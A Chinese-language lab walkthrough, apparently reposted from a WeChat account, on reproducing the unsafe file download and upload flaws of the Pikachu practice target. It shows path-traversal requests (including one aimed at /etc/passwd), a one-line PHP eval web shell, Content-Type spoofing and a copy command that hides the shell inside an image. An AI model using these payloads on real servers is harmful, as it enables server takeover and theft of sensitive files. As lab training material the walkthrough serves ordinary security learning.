本篇文章旨在为网络安全渗透测试靶机复现学习。通过阅读本文,读者将能够对渗透pikachu靶场非安全文件上传/下载漏洞复现有一定的了解
原文学习链接
CSDN博主:One_Blanks
靶机资源下载
phpstudy
pikachu靶场
一、unsafe filedownload
1、非安全文件下载概述
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
你可以通过“Unsafe file download”对应的测试栏目,来进一步的了解该漏洞。
2、查看文件下载详情
http://192.168.60.181/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png
http://192.168.60.181/pikachu/vul/unsafedownload/execdownload.php?filename=ai.png
# 这里我们通过对比发现其实就是filename传参点发生了变化?filename=xx.png
# 也可以看出execdownload.php是该靶场的下载文件的程序
3、伪造href进行下载execdownload.php文件
execdownload.php?filename=./../execdownload.php
# ../就是跳出一级目录到上一级目录下
4、查看源码
5、防范方法
二、 unsafe upfileupload
1、不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。
当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。
如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
2、clent check(客户端检测)
<?php @eval($_POST['cmd']);?>
# 将一句话木马写入文本后,将文本后缀改成.jpg格式
3、MIME type (MIME文件类型)
# 因为上传的文件是php所以要修改Content-Type:
Content-Type: application/octet-stream #php类型
Content-Type: image/jpg #jpg图片
4、getimagesize (获取图片信息函数)
# cmd终端
copy /B 1.jpg + shell.php 321.png
#格式:copy /B 原图片 + 一句话shell 图片马
原文始发于微信公众号(泷羽SEC-ohh):pikachu靶机-非安全文件下载/上传
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论